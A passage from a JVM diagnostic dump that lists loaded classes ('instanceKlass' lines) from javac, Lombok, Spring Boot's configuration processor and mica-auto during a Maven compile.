org/springframework/boot/autoconfigureprocessor/AutoConfigureAnnotationProcessor$ValueExtractor\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/ReflectionWrapper\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/TreeVisitor\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/JavaCompilerFieldValuesParser\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/FieldValuesParser\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils$$Lambda$451\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils$$Lambda$450\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataCollector\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataStore\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoService\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoLoggingSystemFactory\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoDependsOnDatabaseInitializationDetector\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoDatabaseInitializerDetector\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoConfigDataLoader\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoConfigDataLocationResolver\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoEnableCircuitBreaker\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoTemplateProvider\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoConfigImportFilter\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoFailureAnalyzer\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoEnvPostProcessor\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoRunListener\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoListener\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoContextInitializer\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoIgnore\ninstanceKlass net/dreamlu/mica/auto/factories/AutoFactoriesProcessor$$Lambda$449\ninstanceKlass net/dreamlu/mica/auto/factories/AutoFactoriesProcessor$$Lambda$448\ninstanceKlass net/dreamlu/mica/auto/factories/AutoFactoriesProcessor$$Lambda$447\ninstanceKlass net/dreamlu/mica/auto/common/MultiSetMap\ninstanceKlass lombok/core/handlers/InclusionExclusionUtils$1\ninstanceKlass lombok/ToString$Exclude\ninstanceKlass lombok/ToString$Include\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$JCAnnotatedTypeReflect\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$GetterMethod\ninstanceKlass lombok/EqualsAndHashCode$AnyAnnotation\ninstanceKlass lombok/core/handlers/InclusionExclusionUtils$2\ninstanceKlass lombok/core/handlers/InclusionExclusionUtils$Included\ninstanceKlass lombok/EqualsAndHashCode$Exclude\ninstanceKlass lombok/EqualsAndHashCode$Include\ninstanceKlass lombok/core/handlers/InclusionExclusionUtils\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$CopyJavadoc$6\ninstanceKlass lombok/core/CleanupRegistry$CleanupKey\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$CopyJavadoc$2$1\ninstanceKlass lombok/javac/Javac$JavadocOps_8\ninstanceKlass lombok/core/CleanupTask\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$EnterReflect\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil$ClassSymbolMembersField\ninstanceKlass lombok/core/AnnotationValues$1\ninstanceKlass lombok/delombok/FormatPreferences\ninstanceKlass lombok/delombok/LombokOptionsFactory\ninstanceKlass lombok/core/configuration/AllowHelper\ninstanceKlass lombok/experimental/FieldDefaults\ninstanceKlass lombok/core/handlers/HandlerUtil\ninstanceKlass lombok/core/AnnotationValues\ninstanceKlass lombok/core/AnnotationValues$AnnotationValue\ninstanceKlass lombok/core/FieldAugment\ninstanceKlass lombok/javac/JavacAugments\ninstanceKlass lombok/core/TypeResolver\ninstanceKlass lombok/core/AST$FieldAccess\ninstanceKlass lombok/core/LombokImmutableList$1\ninstanceKlass lombok/javac/JavacImportList\ninstanceKlass lombok/javac/PackageName\ninstanceKlass lombok/core/configuration/FileSystemSourceCache$Content\ninstanceKlass lombok/core/configuration/ConfigurationFile\ninstanceKlass lombok/core/configuration/BubblingConfigurationResolver\ninstanceKlass lombok/core/LombokConfiguration$3\ninstanceKlass lombok/core/configuration/FileSystemSourceCache$1\ninstanceKlass lombok/core/configuration/ConfigurationProblemReporter$1\ninstanceKlass lombok/core/configuration/ConfigurationProblemReporter\ninstanceKlass lombok/core/configuration/ConfigurationParser\ninstanceKlass lombok/core/configuration/ConfigurationFileToSource\ninstanceKlass lombok/core/configuration/FileSystemSourceCache\ninstanceKlass lombok/core/LombokConfiguration$1\ninstanceKlass lombok/core/configuration/ConfigurationResolverFactory\ninstanceKlass lombok/core/configuration/ConfigurationResolver\ninstanceKlass lombok/core/LombokConfiguration\ninstanceKlass lombok/core/ImportList\ninstanceKlass lombok/javac/JavacAST$ErrorLog\ninstanceKlass lombok/javac/HandlerLibrary$VisitorContainer\ninstanceKlass lombok/experimental/WithBy\ninstanceKlass lombok/With\ninstanceKlass lombok/Value\ninstanceKlass lombok/javac/JavacASTAdapter\ninstanceKlass lombok/experimental/UtilityClass\ninstanceKlass lombok/ToString\ninstanceKlass lombok/Synchronized\ninstanceKlass lombok/experimental/SuperBuilder\ninstanceKlass lombok/javac/handlers/JavacSingularsRecipes$StatementMaker\ninstanceKlass lombok/javac/handlers/JavacSingularsRecipes$ExpressionMaker\ninstanceKlass lombok/javac/handlers/HandleBuilder$BuilderJob\ninstanceKlass lombok/experimental/StandardException\ninstanceKlass lombok/SneakyThrows\ninstanceKlass lombok/Singular\ninstanceKlass lombok/Setter\ninstanceKlass lombok/core/PrintAST\ninstanceKlass lombok/NonNull\ninstanceKlass lombok/extern/slf4j/XSlf4j\ninstanceKlass lombok/extern/slf4j/Slf4j\ninstanceKlass lombok/extern/log4j/Log4j\ninstanceKlass lombok/extern/log4j/Log4j2\ninstanceKlass lombok/extern/java/Log\ninstanceKlass lombok/extern/jbosslog/JBossLog\ninstanceKlass lombok/extern/flogger/Flogger\ninstanceKlass lombok/CustomLog\ninstanceKlass lombok/extern/apachecommons/CommonsLog\ninstanceKlass lombok/extern/jackson/Jacksonized\ninstanceKlass lombok/experimental/Helper\ninstanceKlass lombok/Getter\ninstanceKlass lombok/experimental/FieldNameConstants\ninstanceKlass lombok/core/LombokImmutableList\ninstanceKlass lombok/core/JavaIdentifiers\ninstanceKlass lombok/experimental/ExtensionMethod\ninstanceKlass lombok/EqualsAndHashCode\ninstanceKlass lombok/experimental/Delegate\ninstanceKlass lombok/Data\ninstanceKlass lombok/RequiredArgsConstructor\ninstanceKlass lombok/NoArgsConstructor\ninstanceKlass lombok/AllArgsConstructor\ninstanceKlass lombok/Cleanup\ninstanceKlass lombok/Builder$Default\ninstanceKlass lombok/Builder\ninstanceKlass lombok/javac/handlers/HandleConstructor\ninstanceKlass lombok/core/LombokInternalAliasing\ninstanceKlass lombok/core/AlreadyHandledAnnotations\ninstanceKlass lombok/javac/ResolutionResetNeeded\ninstanceKlass lombok/core/HandlerPriority\ninstanceKlass lombok/javac/HandlerLibrary$AnnotationHandlerContainer\ninstanceKlass lombok/experimental/Accessors\ninstanceKlass lombok/javac/JavacAnnotationHandler\ninstanceKlass lombok/core/SpiLoadUtil$1$1\ninstanceKlass lombok/core/SpiLoadUtil$1\ninstanceKlass lombok/core/SpiLoadUtil\ninstanceKlass lombok/core/configuration/ConfigurationKeysLoader\ninstanceKlass lombok/core/configuration/CheckerFrameworkVersion\ninstanceKlass lombok/core/configuration/TypeName\ninstanceKlass lombok/core/configuration/LogDeclaration\ninstanceKlass lombok/core/configuration/IdentifierName\ninstanceKlass lombok/core/configuration/ConfigurationDataType$6\ninstanceKlass lombok/core/configuration/ConfigurationDataType$7\ninstanceKlass lombok/core/configuration/NullAnnotationLibrary\ninstanceKlass lombok/core/configuration/ConfigurationValueType\ninstanceKlass lombok/core/configuration/ConfigurationDataType$5\ninstanceKlass lombok/core/configuration/ConfigurationDataType$4\ninstanceKlass lombok/core/configuration/ConfigurationDataType$3\ninstanceKlass lombok/core/configuration/ConfigurationDataType$2\ninstanceKlass lombok/core/configuration/ConfigurationDataType$1\ninstanceKlass lombok/core/configuration/ConfigurationValueParser\ninstanceKlass lombok/core/configuration/ConfigurationDataType\ninstanceKlass lombok/core/configuration/ConfigurationKey\ninstanceKlass lombok/ConfigurationKeys\ninstanceKlass lombok/core/configuration/ConfigurationKeysLoader$LoaderLoader\ninstanceKlass lombok/core/TypeLibrary\ninstanceKlass lombok/javac/HandlerLibrary\ninstanceKlass lombok/javac/JavacASTVisitor\ninstanceKlass lombok/javac/JavacTransformer\ninstanceKlass lombok/core/AST\ninstanceKlass lombok/core/LombokNode\ninstanceKlass lombok/javac/handlers/JavacHandlerUtil\ninstanceKlass lombok/javac/JavacTreeMaker$FieldId\ninstanceKlass lombok/javac/JavacTreeMaker$MethodId\ninstanceKlass lombok/javac/JavacTreeMaker\ninstanceKlass lombok/javac/JavacTreeMaker$SchroedingerType\ninstanceKlass lombok/javac/Javac\ninstanceKlass lombok/javac/apt/Java9Compiler\ninstanceKlass lombok/javac/apt/LombokFileObjects$Compiler\ninstanceKlass lombok/javac/apt/LombokFileObject\ninstanceKlass lombok/javac/apt/LombokFileObjects\ninstanceKlass lombok/javac/apt/MessagerDiagnosticsReceiver\ninstanceKlass lombok/permit/dummy/Parent\ninstanceKlass lombok/core/CleanupRegistry\ninstanceKlass lombok/permit/Permit\ninstanceKlass lombok/core/DiagnosticsReceiver\ninstanceKlass lombok/launch/AnnotationProcessorHider$AstModificationNotifierData\ninstanceKlass lombok/core/AnnotationProcessor$ProcessorDescriptor\ninstanceKlass lombok/launch/ClassFileMetaData\ninstanceKlass lombok/launch/PackageShader\ninstanceKlass lombok/launch/Main\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$$Lambda$446\ninstanceKlass com/sun/tools/javac/code/Scope$ImportScope$1\ninstanceKlass org/apache/maven/plugin/compiler/TestCompilerMojo$$FastClassByGuice$$217965170\ninstanceKlass org/apache/maven/plugins/resources/TestResourcesMojo$$FastClassByGuice$$216493200\ninstanceKlass java/io/FileOutputStream$1\ninstanceKlass org/apache/maven/shared/utils/io/IOUtil\ninstanceKlass org/apache/maven/shared/utils/io/DirectoryScanResult\ninstanceKlass org/apache/maven/shared/utils/io/SelectorUtils\ninstanceKlass org/apache/maven/shared/utils/io/MatchPattern\ninstanceKlass org/apache/maven/shared/utils/io/MatchPatterns\ninstanceKlass com/sun/tools/javac/util/JCDiagnostic$SourcePosition\ninstanceKlass com/sun/tools/javac/api/ClientCodeWrapper$WrappedFileObject\ninstanceKlass com/sun/tools/javac/api/ClientCodeWrapper$DiagnosticSourceUnwrapper\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$445\ninstanceKlass com/sun/tools/javac/comp/InferenceContext$ReachabilityVisitor$$Lambda$444\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$443\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$442\ninstanceKlass com/sun/tools/javac/code/DeferredLintHandler$LintLogger\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$441\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$440\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$439\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$438\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$437\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$436\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$435\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$434\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/stream/ReduceOps$2ReducingSink\ninstanceKlass com/sun/tools/javac/comp/Resolve$ReferenceLookupResult$$Lambda$433\ninstanceKlass com/sun/tools/javac/comp/Resolve$ReferenceLookupResult$$Lambda$432\ninstanceKlass com/sun/tools/javac/comp/Resolve$ReferenceLookupResult$$Lambda$431\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$430\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$429\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Infer$$Lambda$428\ninstanceKlass com/sun/tools/javac/comp/InferenceContext$$Lambda$427\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$$Lambda$426\ninstanceKlass com/sun/tools/javac/jvm/Pool$DynamicMethod$BootstrapMethodsValue\ninstanceKlass com/sun/tools/javac/jvm/Pool$MethodHandle$$Lambda$425\ninstanceKlass com/sun/tools/javac/jvm/Pool$MethodHandle$$Lambda$424\ninstanceKlass com/sun/tools/javac/jvm/Pool$MethodHandle\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$$Lambda$423\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$$Lambda$422\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$$Lambda$421\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$KlassInfo\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$1\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$LambdaAnalyzerPreprocessor$Frame\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$LambdaAnalyzerPreprocessor$SyntheticMethodNameCounter\ninstanceKlass com/sun/tools/javac/comp/LambdaToMethod$LambdaAnalyzerPreprocessor$TranslationContext\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$1\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$$Lambda$420\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$$Lambda$419\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$$Lambda$418\ninstanceKlass com/sun/tools/javac/comp/Attr$TargetInfo\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredType$SpeculativeCache$Entry\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredAttrNode\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$417\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$Entry\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$FunctionDescriptor\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$$Lambda$416\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$LocalCacheContext\ninstanceKlass com/sun/tools/javac/comp/Operators$UnaryOperatorHelper$$Lambda$415\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$414\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$413\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$412\ninstanceKlass lombok/bytecode/ClassFileMetaData\ninstanceKlass lombok/bytecode/SneakyThrowsRemover\ninstanceKlass org/lombokweb/asm/ClassVisitor\ninstanceKlass lombok/bytecode/PreventNullAnalysisRemover\ninstanceKlass lombok/core/PostCompilerTransformation\ninstanceKlass com/sun/tools/javac/jvm/ClassFile$NameAndType\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$1\ninstanceKlass lombok/core/PostCompiler\ninstanceKlass lombok/javac/apt/InterceptingJavaFileObject\ninstanceKlass com/sun/tools/javac/code/Kinds$1\ninstanceKlass com/sun/tools/javac/code/Kinds\ninstanceKlass com/sun/tools/javac/code/Types$MethodFilter\ninstanceKlass com/sun/tools/javac/code/Types$CandidatesCache$Entry\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorFilter\ninstanceKlass com/sun/tools/javac/comp/Resolve$MostSpecificCheck\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$PosKind$$Lambda$411\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$PosKind$$Lambda$410\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$PosKind$$Lambda$409\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$StackMapTableFrame\ninstanceKlass com/sun/tools/javac/jvm/Code$StackMapFrame\ninstanceKlass com/sun/tools/javac/jvm/Code$Chain\ninstanceKlass com/sun/tools/javac/model/FilteredMemberList$$Lambda$408\ninstanceKlass com/sun/tools/javac/jvm/Code$LocalVar$Range\ninstanceKlass com/sun/tools/javac/jvm/Items\ninstanceKlass com/sun/tools/javac/jvm/Code$LocalVar\ninstanceKlass com/sun/tools/javac/jvm/Code$State\ninstanceKlass com/sun/tools/javac/jvm/Gen$GenContext\ninstanceKlass com/sun/tools/javac/jvm/Gen$3\ninstanceKlass com/sun/tools/javac/comp/Lower$2\ninstanceKlass com/sun/tools/javac/comp/Flow$1\ninstanceKlass com/sun/tools/javac/resources/CompilerProperties$Errors\ninstanceKlass com/sun/tools/javac/util/Bits$1\ninstanceKlass com/sun/tools/javac/util/Bits\ninstanceKlass com/sun/tools/javac/comp/Flow$BaseAnalyzer$PendingExit\ninstanceKlass com/sun/tools/javac/comp/InferenceContext$$Lambda$407\ninstanceKlass com/sun/tools/javac/code/Type$UndetVar$$Lambda$406\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Infer$BoundFilter\ninstanceKlass com/sun/tools/javac/util/GraphUtils$Tarjan\ninstanceKlass com/sun/tools/javac/util/GraphUtils\ninstanceKlass com/sun/tools/javac/util/GraphUtils$AbstractNode\ninstanceKlass com/sun/tools/javac/util/GraphUtils$DottableNode\ninstanceKlass com/sun/tools/javac/util/GraphUtils$Node\ninstanceKlass com/sun/tools/javac/comp/InferenceContext$$Lambda$405\ninstanceKlass com/sun/tools/javac/comp/Infer$GraphSolver$InferenceGraph\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$404\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$403\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$402\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/code/Types$$Lambda$401\ninstanceKlass com/sun/tools/javac/code/Types$ClosureHolder\ninstanceKlass com/sun/tools/javac/comp/Infer$CheckUpperBounds$$Lambda$400\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/sun/tools/javac/comp/Infer$IncorporationBinaryOp\ninstanceKlass com/sun/tools/javac/comp/Infer$GraphSolver\ninstanceKlass com/sun/tools/javac/comp/Infer$LeafSolver\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$399\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/ArrayDeque$$Lambda$398\ninstanceKlass com/sun/tools/javac/comp/Infer$CheckBounds$$Lambda$397\ninstanceKlass com/sun/tools/javac/comp/Infer$IncorporationAction\ninstanceKlass com/sun/tools/javac/code/Types$MembersClosureCache$MembersScope$$Lambda$396\ninstanceKlass com/sun/tools/javac/comp/Resolve$17\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$6\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$FilterScanner$$Lambda$395\ninstanceKlass com/sun/tools/javac/comp/Infer$FreeTypeListener\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredType$SpeculativeCache\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$DeferredAttrDiagHandler$$Lambda$394\ninstanceKlass com/sun/tools/javac/comp/DeferredAttr$$Lambda$393\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$$Lambda$392\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$UniquePos\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$$Lambda$391\ninstanceKlass com/sun/tools/javac/comp/Operators$1\ninstanceKlass com/sun/tools/javac/util/List$$Lambda$390\ninstanceKlass com/sun/tools/javac/util/List$$Lambda$389\ninstanceKlass com/sun/tools/javac/util/List$$Lambda$388\ninstanceKlass com/sun/tools/javac/util/List$$Lambda$387\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$386\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorHelper$$Lambda$385\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorHelper$$Lambda$384\ninstanceKlass com/sun/tools/javac/comp/Operators$OperatorHelper$$Lambda$383\ninstanceKlass com/sun/tools/javac/comp/Operators$BinaryOperatorHelper$$Lambda$382\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$381\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$380\ninstanceKlass com/sun/tools/javac/comp/Operators$$Lambda$379\ninstanceKlass com/sun/tools/javac/comp/Resolve$MethodCheckContext\ninstanceKlass com/sun/tools/javac/comp/Check$ClashFilter\ninstanceKlass com/sun/tools/javac/code/Scope$CompoundScope$$Lambda$378\ninstanceKlass com/sun/tools/javac/code/Scope$CompoundScope$$Lambda$377\ninstanceKlass com/sun/tools/javac/comp/Check$DefaultMethodClashFilter\ninstanceKlass com/sun/tools/javac/main/JavaCompiler$2\ninstanceKlass org/springframework/boot/configurationprocessor/json/JSONStringer\ninstanceKlass org/springframework/boot/configurationprocessor/json/JSON\ninstanceKlass java/util/stream/SortedOps$RefSortingSink$$Lambda$376\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$$Lambda$375\ninstanceKlass org/springframework/boot/configurationprocessor/json/JSONArray\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$ItemMetadataComparator$$Lambda$374\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$ItemMetadataComparator$$Lambda$373\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$ItemMetadataComparator$$Lambda$372\ninstanceKlass java/util/Comparators$NullComparator\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$ItemMetadataComparator$$Lambda$371\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$ItemMetadataComparator$$Lambda$370\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter$ItemMetadataComparator\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonConverter\ninstanceKlass org/springframework/boot/configurationprocessor/json/JSONObject$1\ninstanceKlass org/springframework/boot/configurationprocessor/json/JSONObject\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/JsonMarshaller\ninstanceKlass java/util/ComparableTimSort\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/ConfigurationMetadata$$Lambda$369\ninstanceKlass net/dreamlu/mica/auto/service/ServicesFiles\ninstanceKlass net/dreamlu/mica/auto/common/MultiSetMap$$Lambda$368\ninstanceKlass java/nio/file/Path$1\ninstanceKlass net/dreamlu/mica/auto/factories/FactoriesFiles\ninstanceKlass com/sun/tools/javac/code/Symtab$$Lambda$367\ninstanceKlass com/sun/tools/javac/code/Symtab$$Lambda$366\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$ImplicitCompleter\ninstanceKlass com/sun/tools/javac/processing/JavacProcessingEnvironment$2\ninstanceKlass org/springframework/boot/autoconfigureprocessor/Elements\ninstanceKlass org/springframework/boot/autoconfigureprocessor/AutoConfigureAnnotationProcessor$AbstractValueExtractor\ninstanceKlass org/springframework/boot/autoconfigureprocessor/AutoConfigureAnnotationProcessor$ValueExtractor\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment$$Lambda$365\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment$$Lambda$364\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/stream/Collectors$$Lambda$363\ninstanceKlass java/util/stream/Collectors$$Lambda$362\ninstanceKlass java/util/stream/Collectors$$Lambda$361\ninstanceKlass java/util/stream/Collectors$$Lambda$360\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils$TypeExtractor$$Lambda$359\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/ConfigurationMetadata\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment$$Lambda$358\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/Tree$TreeVisitorInvocationHandler\ninstanceKlass java/lang/Short$ShortCache\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/JavaCompilerFieldValuesParser$FieldCollector\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment$$Lambda$357\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils$TypeDescriptor\ninstanceKlass org/springframework/boot/configurationprocessor/ConfigurationMetadataAnnotationProcessor$$Lambda$356\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers$$Lambda$355\ninstanceKlass org/springframework/boot/configurationprocessor/PropertyDescriptorResolver$$Lambda$354\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers$$Lambda$353\ninstanceKlass org/springframework/boot/configurationprocessor/PropertyDescriptorResolver$$Lambda$352\ninstanceKlass org/springframework/boot/configurationprocessor/PropertyDescriptorResolver$ConfigurationPropertiesTypeElement$$Lambda$351\ninstanceKlass org/springframework/boot/configurationprocessor/PropertyDescriptorResolver$ConfigurationPropertiesTypeElement\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers$$Lambda$350\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers$$Lambda$349\ninstanceKlass com/sun/tools/javac/code/Type$5\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers$$Lambda$348\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers$$Lambda$347\ninstanceKlass org/springframework/boot/configurationprocessor/TypeElementMembers\ninstanceKlass org/springframework/boot/configurationprocessor/PropertyDescriptor\ninstanceKlass org/springframework/boot/configurationprocessor/PropertyDescriptorResolver\ninstanceKlass org/springframework/boot/configurationprocessor/metadata/ItemMetadata\ninstanceKlass com/sun/tools/javac/util/Constants\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment$$Lambda$346\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/ReflectionWrapper\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/TreeVisitor\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/javac/JavaCompilerFieldValuesParser\ninstanceKlass org/springframework/boot/configurationprocessor/fieldvalues/FieldValuesParser\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataGenerationEnvironment\ninstanceKlass com/sun/tools/javac/model/JavacTypes$1\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils$$Lambda$345\ninstanceKlass javax/lang/model/util/AbstractTypeVisitor6\ninstanceKlass java/util/EnumMap$EntryIterator$Entry\ninstanceKlass java/util/EnumMap$EnumMapIterator\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils$$Lambda$344\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/springframework/boot/configurationprocessor/TypeUtils\ninstanceKlass javax/tools/ForwardingFileObject\ninstanceKlass com/sun/tools/javac/processing/JavacFiler$Tuple3\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataCollector\ninstanceKlass org/springframework/boot/configurationprocessor/MetadataStore\ninstanceKlass net/dreamlu/mica/auto/service/AutoServiceProcessor$1$$Lambda$343\ninstanceKlass javax/lang/model/util/AbstractAnnotationValueVisitor6\ninstanceKlass javax/lang/model/util/ElementFilter\ninstanceKlass net/dreamlu/mica/auto/service/AutoServiceProcessor$$Lambda$342\ninstanceKlass net/dreamlu/mica/auto/service/AutoServiceProcessor$$Lambda$341\ninstanceKlass net/dreamlu/mica/auto/service/AutoServiceProcessor$$Lambda$340\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoService\ninstanceKlass javax/lang/model/element/AnnotationValueVisitor\ninstanceKlass net/dreamlu/mica/auto/common/MultiSetMap$$Lambda$339\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoLoggingSystemFactory\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoDependsOnDatabaseInitializationDetector\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoDatabaseInitializerDetector\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoConfigDataLoader\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoConfigDataLocationResolver\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoEnableCircuitBreaker\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoTemplateProvider\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoConfigImportFilter\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoFailureAnalyzer\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoEnvPostProcessor\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoRunListener\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoListener\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoContextInitializer\ninstanceKlass net/dreamlu/mica/auto/annotation/AutoIgnore\ninstanceKlass net/dreamlu/mica/auto/factories/AutoFactoriesProcessor$$Lambda$338\ninstanceKlass net/dreamlu/mica/auto/factories/AutoFactoriesProcessor$$Lambda$337\ninstanceKlass net/dreamlu/mica/auto/factories/AutoFactoriesProcessor$$Lambda$336\ninstanceKlass net/dreamlu/mica/auto/common/MultiSetMap\ninstanceKlass 